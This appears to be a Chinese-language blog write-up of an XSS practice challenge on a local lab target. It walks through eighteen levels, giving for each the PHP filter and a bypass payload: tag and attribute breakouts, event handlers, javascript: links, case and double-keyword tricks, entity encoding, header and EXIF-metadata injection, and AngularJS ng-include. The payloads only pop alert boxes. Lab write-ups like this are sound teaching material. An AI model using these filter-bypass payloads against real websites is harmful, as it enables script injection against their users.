XSS闯关小游戏通关笔记

level1 — 无过滤

分析源码,没有任何的过滤。
在这里插入图片描述

直接在链接中构造最基本的XSS弹窗即可,弹窗内容为1.

<script>alert(1)</script>

在这里插入图片描述

level2 — input中未设置过滤

分析源码,发现在echo输出中有一个函数htmlspecialchars()

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。可以看成是对特定字符的过滤。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >

所谓的HTML实体,即让输入的预留字符转换为预留字符本身的符号,就是一个普通的字符,不带有功能。比如<br>就是浏览器上的要显示的字符,而不会被解释为网页标签 换行符的<br>
在这里插入图片描述
从源码中可以看到,程序对输出进行了处理,但并未对输入进行处理,所以我们可以在input标签中构造语句,使得input标签被闭合,再执行之后的XSS语句。

"><script>alert(123)</script>

利用前面的">可以将input标签闭合,从而使后面的XSS语句得以执行。
在这里插入图片描述

level3 — 未过滤单引号

分析源码,在输入和输出中都使用了htmlspecialchars()进行过滤,在level2已经介绍了该函数,本关中再进一步介绍一下。

htmlspecialchars(string,flags,character-set,double_encode)

该函数有四个参数,其中只有string是必须的,其他三个可缺省,缺省状态下为默认值。其中,对于flags的使用如下:

可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
可用的引号类型:
ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。

在这里插入图片描述

所以,在本关中,flags处于默认缺省状态,未过滤单引号,其他几个都过滤。所以我们可以利用单引号配合鼠标事件来构造XSS语句。

'onclick=alert(123)//

其中单引号用于闭合前面的value(注意观察源码中的value也是用的单引号开始),//用于注释掉后方多余的符号或语句。因为采用的鼠标事件为点击事件,当提交XSS语句后需要点一下输入框即可通过。

level4 — 未过滤双引号

分析源码,输入的字符被str_replace()将 “<” 和 “>” 替换为空,即过滤了尖括号,下面介绍一下str_replace()函数:

str_replace(find,replace,string,count)
参数		描述
find	必需。规定要查找的值。
replace	必需。规定替换 find 中的值的值。
string	必需。规定被搜索的字符串。
count	可选。一个变量,对替换数进行计数。

举例:
把字符串 “Hello world!” 中的字符 “world” 替换成 “Peter”:

echo str_replace("world","Peter","Hello world!");
输出结果为:Hello Peter!

且value使用双引号进行闭合,相当于与level3相比,只是把level的单引号换成双引号即可构造出XSS语句
在这里插入图片描述

"onclick=alert(123)//

注意:
为什么鼠标事件不用>就能够闭合? 因为鼠标事件本身就添加在input标签中,就算这里能使用>将input标签进行闭合,剩下的onclick事件也不能触发。

在这里插入图片描述

level5 — 未过滤javascript

分析源码,先将输入字符全部转为小写,再用str_replace()将<script和on分别替换为<scr_ipt和o_n,这样便废掉了<script>和鼠标事件on
在这里插入图片描述
但我们还可以用a标签+javascript伪协议来触发XSS

"><a href="javascript:alert('xss')">//

">用以闭合input标签,//用于注释掉后方多余的符号和语句
提交后页面会出现一个超链接,点击超链接即可出发XSS语句
在这里插入图片描述
在这里插入图片描述

level6 — 大小写绕过

分析源码,乍一看相对于level5限制更多了,不但限制了script和on,还限制了data和herf。仔细观察后发现并没有限制大小写,SCript和script是不匹配的,因此本关采用大小写绕过即可。
在这里插入图片描述

"Onclick=alert(123)//
"><SCript>alert(123)</SCript>
"><a HRef="javascript:alert('xss')">//

在这里插入图片描述

level7 — 关键字过滤绕过

分析源码,一开始将输入的字符转换为小写,接下来几行将关键字进行替空操作,这种替空只能将连续的字符串找出来替换掉,因此可以采用双写关键字来绕过。
在这里插入图片描述
比如,将script写为scrscriptipt,处理机制会将中间的script匹配替空,但剩下的scr和ipt自然就组合到一起形成script,以此来达到绕过。

"><scrscriptipt>alert(123)</scrscriptipt>
"oonnclick=alert(123)//

在这里插入图片描述

在有的情况下,其实还有另一种方法,就是在写关键字的时候,用分隔符将其从中间分开,比如script写为scr ipt,中间用一个空格隔开。对此我们构造payload如下:

"><s cr ipt>alert(123)</scr ipt>
"o nclick=alert(123)//

但在本关中这样并不适用,可以作为一个积累。

level8 — HTML实体编码绕过

分析源码,这一关的过滤是当前遇到的过滤最严格的,小写转换,关键字过滤一应俱全,剩下一个单引号未过滤但起不了作用。捣鼓了一会儿没有思路,参考了其他师傅的方法,可以用HTML实体编码进行绕过。
在这里插入图片描述
将XSS语句进行实体编码后尝试触发XSS,发现失败。
在这里插入图片描述
F12开发者工具中查看,输入的HTML实体编码以及解码成为我们想要的XSS语句,但是为什么没有执行?
在这里插入图片描述

仔细观察,我们构造的XSS语句实际上是插入到了input标签下的a标签中,作为一个超链接。想一下要在a标签中出发XSS,在level5中是不是做过一个点击超链接触发XSS?

将XSS语句换成:

JavaScript:alert(123)

得到对应的HTML实体编码:

&#x4A;&#x61;&#x76;&#x61;&#x53;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x32;&#x33;&#x29;

提交后,点击友情链接,通过。
在这里插入图片描述
开发者工具中也可以看到我们构造的语句
在这里插入图片描述

level9 — HTML编码绕过

分析源码,相比于level8,本关多了一个判断语句,判断传入的内容中是否包含http://,如果不包含则提示链接不合法。
下面介绍一下本关中新出现的一个函数,strpos()

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
注释:strpos() 函数对大小写敏感。

举例:

echo strpos("You love php, I love php too!","php");
输出结果为:9
若查找失败则输出值为空

在这里插入图片描述
因为程序中只是判断了有没有http://,但没有判断它出现的位置,所以我们可以把http://放在构造的代码最后面,并将其用//注释掉,构造的代码如下:

&#x4A;&#x61;&#x76;&#x61;&#x53;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x32;&#x33;&#x29;//http://

在这里插入图片描述

level10 — 隐藏标签触发XSS

打开题目页面,发现没有输入框。尝试在keyword中后构造各种语句均无效。
在这里插入图片描述

分析源码,发现三个input标签,但都是hidden属性,三个标签中只有t_sort会获取GET传入的值,因此该题便转化成了单个input标签中构造XSS语句。
在这里插入图片描述
源码中将"<“和”>"进行了过滤,因此考虑构造鼠标事件触发XSS。

"onclick=alert(123)//

在这里插入图片描述
将构造的语句提交上去,发现页面依旧没有出现input标签。F12在开发者工具中找出t_sort,将其属性改为text或者将hidden删除。
在这里插入图片描述
在出现的输入框中点击一下,XSS执行成功。
在这里插入图片描述

level11 — Referer触发XSS

本关出现了一个新的函数$_SERVER[‘HTTP_REFERER’]

$_SERVER(HTTP_REFERER):
引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。
并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。
简言之,该值并不可信。

分析源码,实际接受参数的为t_sort以及本关又增加的一个新的input标签t_ref。
在这里插入图片描述

对于t_sort传入的数据经过htmlspecialchars() 过滤后,只剩下单引号可以利用,而value的闭合条件又为双引号,对此我考虑过使用HTML实体编码,但将编码提交上去后并没有像之前的level8和9一样将编码解码,因此也不能触发XSS。
在这里插入图片描述
这时候注意力来到新的标签t_ref,从源码和上图可以看到,他的值为页面跳转之前的页面链接,也就是数据包中的Referer值,并且他的值只通过str_replace()将"<“和”>"过滤掉了。因此,我们可以考虑通过抓包修改数据包的referer值来触发XSS。

burp抓包,将Referer的值修改成构造的XSS语句。
在这里插入图片描述
放行数据包后,可以在开发者工具中看到,t_ref的值已经变成我们构造的XSS语句,将标签属性改为txt或者删去hidden后将会显示输入框,点击输入框后即可触发XSS。
在这里插入图片描述

level12 — User-Agent触发XSS

分析源码,和level11相比,只是将 S E R V E R ( H T T P R E F E R E R ) 换 成 了 _SERVER(HTTP_REFERER)换成了 SERVER(HTTPREFERER)_SERVER[‘HTTP_USER_AGENT’],也就是说,现在t_ua的值为数据包中User-Agent的值。同修改Referer的方法一样,抓包进行修改即可。
在这里插入图片描述

level13 — Cookie触发XSS

分析源码,这一次又换成了Cookie,触发方法参考level11
在这里插入图片描述

level14 — EXIF信息未过滤触发XSS

说实话一进来不知道这是个啥,看了源码也不知道是干啥。
在这里插入图片描述
分析源码,用iframe标签套了一个地址:http://www.exifviewer.org/,不知道是想用来干啥?
在这里插入图片描述
随便点了一个,感觉都是些广告,啥卖相机的都来了??
在这里插入图片描述
在这里插入图片描述
在网上找了一番,发现先知社区有一篇关于本关的writeup,文中讲到本关需要用到图片的exif信息来触发XSS,但是我们的源码引入的网址不一样。
在这里插入图片描述

后面又在另一个师傅那找到了他自己写的源码来复现该过程。

<h1>Test EXIF XSS</h1>
<form action="" method="post" enctype="multipart/form-data">
    <input type="file" id="File" name="file"/>
    <input type="submit"  name="submit" value="submit">
</form>
<?php
//error_reporting(0);
if(isset($_POST['submit'])){
    $file = $_FILES['file'];
    $filetmps = $file['tmp_name'];

    $exif = exif_read_data($file['tmp_name'], 0, true);

    foreach ($exif as $key => $section) {
        foreach ($section as $name => $val) {
            echo "$key.$name: $val<br />\n";
        }
    }
}
?>

换上新的源码,页面变成了一个提交文件的页面,结合我们之前查到的信息,使用exiftool修改图片信息。
在这里插入图片描述
修改之前先说一下什么是EXIF:

​可交换图像文件格式常被简称为Exif(Exchangeable image file
format),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。Exif 可以被附加在 JPEG、TIFF、RIFF等文件之中,为其增加有关数码相机拍摄信息的内容和缩略图或图像处理软件的一些版本信息。

首先查看图片未修改之前的exif信息如下:

root@kali:~/ctf# exiftool test.jpg
ExifTool Version Number         : 12.07
File Name                       : test.jpg
Directory                       : .
File Size                       : 82 kB
File Modification Date/Time     : 2020:10:28 23:11:05-04:00
File Access Date/Time           : 2020:10:28 23:25:26-04:00
File Inode Change Date/Time     : 2020:10:28 23:25:26-04:00
File Permissions                : rw-------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Unknown (0)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Modify Date                     : 
Y Cb Cr Positioning             : Centered
Exif Version                    : 0221
Components Configuration        : Y, Cb, Cr, -
Light Source                    : Unknown
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 750
Exif Image Height               : 750
Scene Capture Type              : Standard
Compression                     : JPEG (old-style)
Thumbnail Offset                : 364
Thumbnail Length                : 13804
Image Width                     : 750
Image Height                    : 750
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 750x750
Megapixels                      : 0.562
Thumbnail Image                 : (Binary data 13804 bytes, use -b option to extract)

使用exiftool将图片的作者信息修改:

root@kali:~/ctf# exiftool -artist='"><img src=1 οnerrοr=alert(123)>' test.jpg
    1 image files updated

修改后的exif信息如下,可以看到XSS语句已经写入到exif信息中:

root@kali:~/ctf# exiftool test.jpg
ExifTool Version Number         : 12.07
File Name                       : test.jpg
Directory                       : .
File Size                       : 82 kB
File Modification Date/Time     : 2020:10:28 23:26:38-04:00
File Access Date/Time           : 2020:10:28 23:26:38-04:00
File Inode Change Date/Time     : 2020:10:28 23:26:38-04:00
File Permissions                : rw-------
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Unknown (0)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Modify Date                     : 
Artist                          : "><img src=1 onerror=alert(123)>
Y Cb Cr Positioning             : Centered
Exif Version                    : 0221
Components Configuration        : Y, Cb, Cr, -
Light Source                    : Unknown
Flashpix Version                : 0100
Color Space                     : sRGB
Exif Image Width                : 750
Exif Image Height               : 750
Scene Capture Type              : Standard
Compression                     : JPEG (old-style)
Thumbnail Offset                : 410
Thumbnail Length                : 13804
Image Width                     : 750
Image Height                    : 750
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 750x750
Megapixels                      : 0.562
Thumbnail Image                 : (Binary data 13804 bytes, use -b option to extract)

在这里插入图片描述
将图片进行上传,直接触发了XSS
在这里插入图片描述
由函数exif_read_data()将我们图片的exif读取出来,由于未设置过滤,导致exif信息中构造的XSS语句直接被执行。
在这里插入图片描述

level15 — AngularJS 触发XSS

分析源码,与之前关卡不同的是,本关卡一开始就引入了一个外部的JS文件:https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js,在下方php代码中还出现了一个新的函数ng-include,代码不长就贴上来吧。

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

对于ng-include的定义和用法,详细参考菜鸟教程

ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。

也就是说,GET所传入的参数src在经过htmlspecialchars()处理后,又被ng-include当作html文件所包含到了当前页面。这是不是有点像文件包含?只是包含的对象为html文件。

我们尝试在靶机内新建一个html网页,里面写上要执行的话。或者利用ng-include去包含其他关卡的php文件,用通过其他关卡的方法通过本关。

我这里才用了通过自建html来进行实验,首先我们在靶机上新建一个test.html,代码如下:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>这里填写标题</title>
<script>alert(123)</script>
</head>
<body>
</body>
</html>

代码中的script脚本为我们想执行的XSS语句。接下来在关卡中通过src=去传参,尝试包含html,结果并未通过,且将XSS语句换为鼠标事件和img标签也不行。

http://192.168.159.128/XSS/level15.php?src=test.html

在这里插入图片描述
参考一下先知社区的成功案例,我的思路是对的,唯一不一样的就是先知的payload外是由单引号或者双引号引起来的。尝试构造:

http://192.168.159.128/XSS/level15.php?src='test.html'
http://192.168.159.128/XSS/level15.php?src="test.html"

果然通过了,但是为什么外面要加一个引号?
在这里插入图片描述
经过查阅,在一篇博客中发现了一条结论:

1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册
3.ng-include,加载外部html中含有style标签样式可以识别
4.ng-inclue,记载外部html中的link标签可以加载

这就可以解释为什么必须加引号才能成功包含test.html并执行其中的语句了。除此之外还收获了ng-include在加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册。

其实,我们还可以通过修改源代码来验证这一说法。第一个箭头所指的是一个处理报错的机制,源码中默认将报错信息关闭了,我们将其注释掉。将 s r c 的 值 设 置 为 " t e s t . h t m l " , 将 src的值设置为"test.html",将 src"test.html"str的值设置为$src,保存再加载level15。
在这里插入图片描述
打开页面后,就出现我们最开始构造的不加引号的payload那种情况,页面并没有成功包含test.html。

如果我们把$src的值设置为"‘test.html’",保存后再刷新页面,即可成功执行XSS语句。
在这里插入图片描述

在这里插入图片描述

level16 — 空格过滤绕过

分析源码,处理程序将script、空格 、/均用str_replace做了转义。
在这里插入图片描述
我们可以采用换行符%0d(回车)或者%0a(换行)作为分隔符代替空格,再配合鼠标事件即可完成绕过,payload如下:

http://192.168.159.128/XSS/level16.php?keyword=test<input%0dname="%0d"%0dtype="text"%0donclick=alert(123)>

在这里插入图片描述
只要知道还可以用换行符%0d、%0a可以绕过空格过滤,做起来比前两关还是要容易一点。
在这里插入图片描述

level17 — embed标签触发XSS

分析源码,采用embed标签嵌入了一个flash,使用GET传入两个参数arg01和arg02,并且用htmlspecialchars() 对两个参数进行了过滤。
在这里插入图片描述
仅采用htmlspecialchars() 进行过滤,又可以采用熟悉的鼠标事件来绕过。
但不知道为什么这里不可以采用onclick()来进行绕过,我试了一下没有成功,但是可以用onmousemove、onmouseover等其他鼠标事件来完成绕过。
使用onmousemove只需要提交后移动一下鼠标,使用onmouseover的话就需要将鼠标移动到flash上才可触发。

http://192.168.159.128/XSS/level17.php?arg01=a&arg02=a%20 onmouseover=alert(123)

在这里插入图片描述

level18

分析源码,这不和level17一样的吗?
在这里插入图片描述

尝试构造鼠标事件XSS,和level17的一模一样
在这里插入图片描述

level19和20两关都是flash的漏洞利用,目前技术有限就不再深入了

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值